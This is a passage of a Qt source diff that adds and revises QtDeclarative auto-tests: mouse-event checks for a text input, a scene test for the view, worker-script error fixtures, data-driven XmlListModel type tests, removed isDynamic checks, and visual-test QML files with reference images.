+ QCOMPARE(ic.eventModifiers, Qt::NoModifier);
+ QVERIFY(ic.cursor >= 14 && ic.cursor <= 16); // 15 is expected but some platforms may be off by one.
+ ic.eventType = QEvent::None;
+
+ QTest::mouseRelease(view.viewport(), Qt::LeftButton, Qt::NoModifier, position27);
+ QCOMPARE(ic.eventType, QEvent::MouseButtonRelease);
+ QCOMPARE(ic.eventPosition, position27);
+ QCOMPARE(ic.eventGlobalPosition, globalposition27);
+ QCOMPARE(ic.eventButton, Qt::LeftButton);
+ QCOMPARE(ic.eventModifiers, Qt::NoModifier);
+ QVERIFY(ic.cursor >= 14 && ic.cursor <= 16);
+ ic.eventType = QEvent::None;
+
+ // And in the other direction.
+ QTest::mouseDClick(view.viewport(), Qt::LeftButton, Qt::ControlModifier, position27);
+ QCOMPARE(ic.eventType, QEvent::MouseButtonDblClick);
+ QCOMPARE(ic.eventPosition, position27);
+ QCOMPARE(ic.eventGlobalPosition, globalposition27);
+ QCOMPARE(ic.eventButton, Qt::LeftButton);
+ QCOMPARE(ic.eventModifiers, Qt::ControlModifier);
+ QVERIFY(ic.cursor >= 14 && ic.cursor <= 16);
+ ic.eventType = QEvent::None;
+
+ QTest::mousePress(view.viewport(), Qt::RightButton, Qt::ControlModifier, position27);
+ QCOMPARE(ic.eventType, QEvent::MouseButtonPress);
+ QCOMPARE(ic.eventPosition, position27);
+ QCOMPARE(ic.eventGlobalPosition, globalposition27);
+ QCOMPARE(ic.eventButton, Qt::RightButton);
+ QCOMPARE(ic.eventModifiers, Qt::ControlModifier);
+ QVERIFY(ic.cursor >= 14 && ic.cursor <= 16);
+ ic.eventType = QEvent::None;
+
+ { QMouseEvent mv(QEvent::MouseMove, position20, globalposition20, Qt::RightButton, Qt::RightButton,Qt::ControlModifier);
+ QApplication::sendEvent(view.viewport(), &mv); }
+ QCOMPARE(ic.eventType, QEvent::MouseMove);
+ QCOMPARE(ic.eventPosition, position20);
+ QCOMPARE(ic.eventGlobalPosition, globalposition20);
+ QCOMPARE(ic.eventButton, Qt::RightButton);
+ QCOMPARE(ic.eventModifiers, Qt::ControlModifier);
+ QVERIFY(ic.cursor >= 7 && ic.cursor <= 9);
+ ic.eventType = QEvent::None;
+
+ { QMouseEvent mv(QEvent::MouseMove, position2, globalPosition2, Qt::RightButton, Qt::RightButton,Qt::ControlModifier);
+ QApplication::sendEvent(view.viewport(), &mv); }
+ QCOMPARE(ic.eventType, QEvent::None);
+
+ QTest::mouseRelease(view.viewport(), Qt::RightButton, Qt::ControlModifier, position2);
+ QCOMPARE(ic.eventType, QEvent::MouseButtonRelease);
+ QCOMPARE(ic.eventPosition, position2);
+ QCOMPARE(ic.eventGlobalPosition, globalPosition2);
+ QCOMPARE(ic.eventButton, Qt::RightButton);
+ QCOMPARE(ic.eventModifiers, Qt::ControlModifier);
+ QVERIFY(ic.cursor < 0);
+ ic.eventType = QEvent::None;
+}
+
QTEST_MAIN(tst_qdeclarativetextinput)
#include "tst_qdeclarativetextinput.moc"
diff --git a/tests/auto/declarative/qdeclarativeview/tst_qdeclarativeview.cpp b/tests/auto/declarative/qdeclarativeview/tst_qdeclarativeview.cpp
index 46c2a34..8385659 100644
--- a/tests/auto/declarative/qdeclarativeview/tst_qdeclarativeview.cpp
+++ b/tests/auto/declarative/qdeclarativeview/tst_qdeclarativeview.cpp
@@ -60,6 +60,7 @@ public:
tst_QDeclarativeView();
private slots:
+ void scene();
void resizemodedeclarativeitem();
void resizemodegraphicswidget();
void errors();
@@ -74,6 +75,26 @@ tst_QDeclarativeView::tst_QDeclarativeView()
{
}
+void tst_QDeclarativeView::scene()
+{
+ // QTBUG-14771
+ QGraphicsScene scene;
+ scene.setItemIndexMethod(QGraphicsScene::NoIndex);
+ scene.setStickyFocus(true);
+
+ QDeclarativeView *view = new QDeclarativeView();
+ QVERIFY(view);
+ QVERIFY(view->scene());
+ view->setScene(&scene);
+ QCOMPARE(view->scene(), &scene);
+
+ view->setSource(QUrl::fromLocalFile(SRCDIR "/data/resizemodedeclarativeitem.qml"));
+ QDeclarativeItem* declarativeItem = qobject_cast<QDeclarativeItem*>(view->rootObject());
+ QVERIFY(declarativeItem);
+ QVERIFY(scene.items().count() > 0);
+ QCOMPARE(scene.items().at(0), declarativeItem);
+}
+
void tst_QDeclarativeView::resizemodedeclarativeitem()
{
QWidget window;
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/data/script_error_onCall.js b/tests/auto/declarative/qdeclarativeworkerscript/data/script_error_onCall.js
new file mode 100644
index 0000000..f589b0e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeworkerscript/data/script_error_onCall.js
@@ -0,0 +1,6 @@
+WorkerScript.onMessage = function(msg) {
+ var a = 123
+ var b = 345
+ var f = getData()
+}
+
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/data/script_error_onLoad.js b/tests/auto/declarative/qdeclarativeworkerscript/data/script_error_onLoad.js
new file mode 100644
index 0000000..1d6eab2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeworkerscript/data/script_error_onLoad.js
@@ -0,0 +1,5 @@
+WorkerScript.onMessage = function(msg) {
+ var a = 123
+ aoij awef aljfaow eij
+}
+
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/data/worker_error_onCall.qml b/tests/auto/declarative/qdeclarativeworkerscript/data/worker_error_onCall.qml
new file mode 100644
index 0000000..90c4617
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeworkerscript/data/worker_error_onCall.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+BaseWorker {
+ source: "script_error_onCall.js"
+}
+
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/data/worker_error_onLoad.qml b/tests/auto/declarative/qdeclarativeworkerscript/data/worker_error_onLoad.qml
new file mode 100644
index 0000000..0b9d21d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeworkerscript/data/worker_error_onLoad.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+BaseWorker {
+ source: "script_error_onLoad.js"
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/tst_qdeclarativeworkerscript.cpp b/tests/auto/declarative/qdeclarativeworkerscript/tst_qdeclarativeworkerscript.cpp
index aaedd82..4b922fb 100644
--- a/tests/auto/declarative/qdeclarativeworkerscript/tst_qdeclarativeworkerscript.cpp
+++ b/tests/auto/declarative/qdeclarativeworkerscript/tst_qdeclarativeworkerscript.cpp
@@ -41,6 +41,8 @@
#include <qtest.h>
#include <QtCore/qdebug.h>
#include <QtCore/qtimer.h>
+#include <QtCore/qdir.h>
+#include <QtCore/qfileinfo.h>
#include <QtScript/qscriptengine.h>
#include <QtDeclarative/qdeclarativecomponent.h>
@@ -58,6 +60,13 @@ Q_DECLARE_METATYPE(QScriptValue)
#define SRCDIR "."
#endif
+inline QUrl TEST_FILE(const QString &filename)
+{
+ QFileInfo fileInfo(__FILE__);
+ return QUrl::fromLocalFile(fileInfo.absoluteDir().filePath(filename));
+}
+
+
class tst_QDeclarativeWorkerScript : public QObject
{
Q_OBJECT
@@ -70,6 +79,8 @@ private slots:
void messaging_sendQObjectList();
void messaging_sendJsObject();
void script_with_pragma();
+ void scriptError_onLoad();
+ void scriptError_onCall();
private:
void waitForEchoMessage(QDeclarativeWorkerScript *worker) {
@@ -215,6 +226,47 @@ void tst_QDeclarativeWorkerScript::script_with_pragma()
delete worker;
}
+static QString qdeclarativeworkerscript_lastWarning;
+static void qdeclarativeworkerscript_warningsHandler(QtMsgType type, const char *msg)
+{
+ if (type == QtWarningMsg)
+ qdeclarativeworkerscript_lastWarning = QString::fromUtf8(msg);
+}
+
+void tst_QDeclarativeWorkerScript::scriptError_onLoad()
+{
+ QDeclarativeComponent component(&m_engine, SRCDIR "/data/worker_error_onLoad.qml");
+
+ QtMsgHandler previousMsgHandler = qInstallMsgHandler(qdeclarativeworkerscript_warningsHandler);
+ QDeclarativeWorkerScript *worker = qobject_cast<QDeclarativeWorkerScript*>(component.create());
+ QVERIFY(worker != 0);
+
+ QTRY_COMPARE(qdeclarativeworkerscript_lastWarning,
+ TEST_FILE("data/script_error_onLoad.js").toString() + QLatin1String(":3: SyntaxError: Parse error"));
+
+ qInstallMsgHandler(previousMsgHandler);
+ qApp->processEvents();
+ delete worker;
+}
+
+void tst_QDeclarativeWorkerScript::scriptError_onCall()
+{
+ QDeclarativeComponent component(&m_engine, SRCDIR "/data/worker_error_onCall.qml");
+ QDeclarativeWorkerScript *worker = qobject_cast<QDeclarativeWorkerScript*>(component.create());
+ QVERIFY(worker != 0);
+
+ QtMsgHandler previousMsgHandler = qInstallMsgHandler(qdeclarativeworkerscript_warningsHandler);
+ QVariant value;
+ QVERIFY(QMetaObject::invokeMethod(worker, "testSend", Q_ARG(QVariant, value)));
+
+ QTRY_COMPARE(qdeclarativeworkerscript_lastWarning,
+ TEST_FILE("data/script_error_onCall.js").toString() + QLatin1String(":4: ReferenceError: Can't find variable: getData"));
+
+ qInstallMsgHandler(previousMsgHandler);
+ qApp->processEvents();
+ delete worker;
+}
+
QTEST_MAIN(tst_QDeclarativeWorkerScript)
diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/data/model2.qml b/tests/auto/declarative/qdeclarativexmllistmodel/data/model2.qml
deleted file mode 100644
index e56aafa..0000000
--- a/tests/auto/declarative/qdeclarativexmllistmodel/data/model2.qml
+++ /dev/null
@@ -1,11 +0,0 @@
-import QtQuick 1.0
-
-XmlListModel {
- source: "model.xml"
- query: "/Pets/Pet"
- XmlRole { name: "name"; query: "name/string()" }
- XmlRole { name: "type"; query: "type/string()" }
- XmlRole { name: "age"; query: "age/number()" }
- XmlRole { name: "size"; query: "size/string()" }
- XmlRole { name: "tricks"; query: "tricks/string()" }
-}
diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/data/testtypes.qml b/tests/auto/declarative/qdeclarativexmllistmodel/data/testtypes.qml
new file mode 100644
index 0000000..4dbcc02
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmllistmodel/data/testtypes.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+XmlListModel {
+ query: "/data"
+ XmlRole { name: "stringValue"; query: "a-string/string()" }
+ XmlRole { name: "numberValue"; query: "a-number/number()" }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp b/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp
index 41807bf..af54008 100644
--- a/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp
+++ b/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp
@@ -40,6 +40,10 @@
****************************************************************************/
#include <private/qdeclarativeengine_p.h>
+#include <QtTest/QtTest>
+#include <QtGlobal>
+#include <math.h>
+
#include <qtest.h>
#include <QtTest/qsignalspy.h>
#include <QtDeclarative/qdeclarativenetworkaccessmanagerfactory.h>
@@ -80,7 +84,8 @@ private slots:
}
void buildModel();
- void missingFields();
+ void testTypes();
+ void testTypes_data();
void cdata();
void attributes();
void roles();
@@ -202,27 +207,70 @@ void tst_qdeclarativexmllistmodel::buildModel()
delete model;
}
-void tst_qdeclarativexmllistmodel::missingFields()
+void tst_qdeclarativexmllistmodel::testTypes()
{
- QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model2.qml"));
+ QFETCH(QString, xml);
+ QFETCH(QString, roleName);
+ QFETCH(QVariant, expectedValue);
+
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/testtypes.qml"));
QDeclarativeXmlListModel *model = qobject_cast<QDeclarativeXmlListModel*>(component.create());
QVERIFY(model != 0);
- QTRY_COMPARE(model->count(), 9);
+ model->setXml(xml.toUtf8());
+ model->reload();
+ QTRY_COMPARE(model->count(), 1);
- QList<int> roles;
- roles << Qt::UserRole << Qt::UserRole + 1 << Qt::UserRole + 2 << Qt::UserRole + 3 << Qt::UserRole + 4;
- QHash<int, QVariant> data = model->data(5, roles);
- QVERIFY(data.count() == 5);
- QCOMPARE(data.value(Qt::UserRole+3).toString(), QLatin1String(""));
- QCOMPARE(data.value(Qt::UserRole+4).toString(), QLatin1String(""));
+ int role = -1;
+ foreach (int i, model->roles()) {
+ if (model->toString(i) == roleName) {
+ role = i;
+ break;
+ }
+ }
+ QVERIFY(role >= 0);
- data = model->data(7, roles);
- QVERIFY(data.count() == 5);
- QCOMPARE(data.value(Qt::UserRole+2).toString(), QLatin1String(""));
+ if (expectedValue.toString() == "nan")
+ QVERIFY(qIsNaN(model->data(0, role).toDouble()));
+ else
+ QCOMPARE(model->data(0, role), expectedValue);
delete model;
}
+void tst_qdeclarativexmllistmodel::testTypes_data()
+{
+ QTest::addColumn<QString>("xml");
+ QTest::addColumn<QString>("roleName");
+ QTest::addColumn<QVariant>("expectedValue");
+
+ QTest::newRow("missing string field") << "<data></data>"
+ << "stringValue" << QVariant("");
+ QTest::newRow("empty string") << "<data><a-string></a-string></data>"
+ << "stringValue" << QVariant("");
+ QTest::newRow("1-char string") << "<data><a-string>5</a-string></data>"
+ << "stringValue" << QVariant("5");
+ QTest::newRow("string ok") << "<data><a-string>abc def g</a-string></data>"
+ << "stringValue" << QVariant("abc def g");
+
+ QTest::newRow("missing number field") << "<data></data>"
+ << "numberValue" << QVariant("");
+ double nan = qQNaN();
+ QTest::newRow("empty number field") << "<data><a-number></a-number></data>"
+ << "numberValue" << QVariant(nan);
+ QTest::newRow("number field with string") << "<data><a-number>a string</a-number></data>"
+ << "numberValue" << QVariant(nan);
+ QTest::newRow("-1") << "<data><a-number>-1</a-number></data>"
+ << "numberValue" << QVariant("-1");
+ QTest::newRow("-1.5") << "<data><a-number>-1.5</a-number></data>"
+ << "numberValue" << QVariant("-1.5");
+ QTest::newRow("0") << "<data><a-number>0</a-number></data>"
+ << "numberValue" << QVariant("0");
+ QTest::newRow("+1") << "<data><a-number>1</a-number></data>"
+ << "numberValue" << QVariant("1");
+ QTest::newRow("+1.5") << "<data><a-number>1.5</a-number></data>"
+ << "numberValue" << QVariant("1.5");
+}
+
void tst_qdeclarativexmllistmodel::cdata()
{
QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/recipes.qml"));
@@ -521,6 +569,11 @@ void tst_qdeclarativexmllistmodel::reload()
QSignalSpy spyRemove(model, SIGNAL(itemsRemoved(int,int)));
QSignalSpy spyCount(model, SIGNAL(countChanged()));
+ //reload multiple times to test the xml query aborting
+ model->reload();
+ model->reload();
+ QCoreApplication::processEvents();
+ model->reload();
model->reload();
QTRY_COMPARE(spyCount.count(), 1);
QTRY_COMPARE(spyInsert.count(), 1);
@@ -791,9 +844,27 @@ void tst_qdeclarativexmllistmodel::threading()
data3 += "name=C" + QString::number(i) + ",age=3" + QString::number(i) + ",sport=Curling;";
}
+ //Set the xml data multiple times with randomized order and mixed with multiple event loops
+ //to test the xml query reloading/aborting, the result should be stable.
m1->setXml(makeItemXmlAndData(data1));
m2->setXml(makeItemXmlAndData(data2));
m3->setXml(makeItemXmlAndData(data3));
+ QCoreApplication::processEvents();
+ m2->setXml(makeItemXmlAndData(data2));
+ m1->setXml(makeItemXmlAndData(data1));
+ m2->setXml(makeItemXmlAndData(data2));
+ QCoreApplication::processEvents();
+ m3->setXml(makeItemXmlAndData(data3));
+ QCoreApplication::processEvents();
+ m2->setXml(makeItemXmlAndData(data2));
+ m1->setXml(makeItemXmlAndData(data1));
+ m2->setXml(makeItemXmlAndData(data2));
+ m3->setXml(makeItemXmlAndData(data3));
+ QCoreApplication::processEvents();
+ m2->setXml(makeItemXmlAndData(data2));
+ m3->setXml(makeItemXmlAndData(data3));
+ m3->setXml(makeItemXmlAndData(data3));
+ QCoreApplication::processEvents();
QTRY_VERIFY(m1->count() == dataCount && m2->count() == dataCount && m3->count() == dataCount);
diff --git a/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp b/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp
index 704fea0..06baed8 100644
--- a/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp
+++ b/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp
@@ -546,7 +546,6 @@ void tst_QMetaObjectBuilder::property()
QVERIFY(!nullProp.isUser());
QVERIFY(!nullProp.hasStdCppSet());
QVERIFY(!nullProp.isEnumOrFlag());
- QVERIFY(!nullProp.isDynamic());
QCOMPARE(nullProp.index(), 0);
// Add a property and check its attributes.
@@ -564,7 +563,6 @@ void tst_QMetaObjectBuilder::property()
QVERIFY(!prop1.isUser());
QVERIFY(!prop1.hasStdCppSet());
QVERIFY(!prop1.isEnumOrFlag());
- QVERIFY(!prop1.isDynamic());
QCOMPARE(prop1.index(), 0);
QCOMPARE(builder.propertyCount(), 1);
@@ -583,7 +581,6 @@ void tst_QMetaObjectBuilder::property()
QVERIFY(!prop2.isUser());
QVERIFY(!prop2.hasStdCppSet());
QVERIFY(!prop2.isEnumOrFlag());
- QVERIFY(!prop2.isDynamic());
QCOMPARE(prop2.index(), 1);
QCOMPARE(builder.propertyCount(), 2);
@@ -605,7 +602,6 @@ void tst_QMetaObjectBuilder::property()
prop1.setUser(true);
prop1.setStdCppSet(true);
prop1.setEnumOrFlag(true);
- prop1.setDynamic(true);
// Check that prop1 is changed, but prop2 is not.
QCOMPARE(prop1.name(), QByteArray("foo"));
@@ -620,7 +616,6 @@ void tst_QMetaObjectBuilder::property()
QVERIFY(prop1.isUser());
QVERIFY(prop1.hasStdCppSet());
QVERIFY(prop1.isEnumOrFlag());
- QVERIFY(prop1.isDynamic());
QVERIFY(prop2.isReadable());
QVERIFY(prop2.isWritable());
QCOMPARE(prop2.name(), QByteArray("bar"));
@@ -633,7 +628,6 @@ void tst_QMetaObjectBuilder::property()
QVERIFY(!prop2.isUser());
QVERIFY(!prop2.hasStdCppSet());
QVERIFY(!prop2.isEnumOrFlag());
- QVERIFY(!prop2.isDynamic());
// Remove prop1 and check that prop2 becomes index 0.
builder.removeProperty(0);
@@ -649,7 +643,6 @@ void tst_QMetaObjectBuilder::property()
QVERIFY(!prop2.isUser());
QVERIFY(!prop2.hasStdCppSet());
QVERIFY(!prop2.isEnumOrFlag());
- QVERIFY(!prop2.isDynamic());
QCOMPARE(prop2.index(), 0);
// Perform index-based lookup again.
@@ -673,7 +666,6 @@ void tst_QMetaObjectBuilder::property()
prop2.setUser(false); \
prop2.setStdCppSet(false); \
prop2.setEnumOrFlag(false); \
- prop2.setDynamic(false); \
} while (0)
#define COUNT_FLAGS() \
((prop2.isReadable() ? 1 : 0) + \
@@ -685,8 +677,7 @@ void tst_QMetaObjectBuilder::property()
(prop2.isEditable() ? 1 : 0) + \
(prop2.isUser() ? 1 : 0) + \
(prop2.hasStdCppSet() ? 1 : 0) + \
- (prop2.isEnumOrFlag() ? 1 : 0) + \
- (prop2.isDynamic() ? 1 : 0))
+ (prop2.isEnumOrFlag() ? 1 : 0))
#define CHECK_FLAG(setFunc,isFunc) \
do { \
CLEAR_FLAGS(); \
@@ -705,7 +696,6 @@ void tst_QMetaObjectBuilder::property()
CHECK_FLAG(setUser, isUser);
CHECK_FLAG(setStdCppSet, hasStdCppSet);
CHECK_FLAG(setEnumOrFlag, isEnumOrFlag);
- CHECK_FLAG(setDynamic, isDynamic);
// Check that nothing else changed.
QVERIFY(checkForSideEffects(builder, QMetaObjectBuilder::Properties));
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.0.png
new file mode 100644
index 0000000..74c6934
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.qml
new file mode 100644
index 0000000..e4dbeb1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "justify.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/align/justify.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/justify.qml
new file mode 100644
index 0000000..c3a7aaa
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/justify.qml
@@ -0,0 +1,22 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+ width: 450
+ height: 250
+
+ TestText {
+ anchors.fill: parent
+ anchors { leftMargin: 10; rightMargin: 10; topMargin:10; bottomMargin: 10 }
+ wrapMode: Text.Wrap
+ horizontalAlignment: Text.AlignJustify
+
+ text: "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin a aliquet massa. Integer id velit a nibh imperdiet sagittis. Cras fringilla enim non nulla porta bibendum. Integer risus urna, hendrerit non interdum ut, dapibus id velit. Nullam fermentum viverra pellentesque. In molestie scelerisque lorem molestie ultrices. Curabitur dolor arcu, tristique in sodales in, varius sed diam. Quisque magna velit, tincidunt sed ullamcorper sit amet, ornare adipiscing ligula. In hac habitasse platea dictumst. Ut tincidunt urna vel mauris fermentum ornare quis a ligula. Suspendisse cursus volutpat sapien eget cursus."
+
+ Rectangle {
+ anchors.fill: parent
+ color: "transparent"
+ border.color: "red"
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.0.png
new file mode 100644
index 0000000..c24c7c6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.qml
new file mode 100644
index 0000000..affd3a6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "newLines.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.0.png
new file mode 100644
index 0000000..0ba68e5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.qml
new file mode 100644
index 0000000..410b47d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "newLines_wrap.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.0.png
new file mode 100644
index 0000000..3f1144b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.qml
new file mode 100644
index 0000000..94cf1d2
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "newLines_wrap_elide.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.0.png
new file mode 100644
index 0000000..f0ad965
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.qml
new file mode 100644
index 0000000..4b55312
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "wrap.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.0.png
new file mode 100644
index 0000000..62274ce
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.qml
new file mode 100644
index 0000000..7d002ea
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "wrap_elide.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.0.png
new file mode 100644
index 0000000..c24c7c6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.qml
new file mode 100644
index 0000000..affd3a6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "newLines.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.0.png
new file mode 100644
index 0000000..0ba68e5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.qml
new file mode 100644
index 0000000..410b47d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "newLines_wrap.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.0.png
new file mode 100644
index 0000000..3f1144b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.qml
new file mode 100644
index 0000000..94cf1d2
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "newLines_wrap_elide.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.0.png
new file mode 100644
index 0000000..f0ad965
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.0.png
Binary files differ
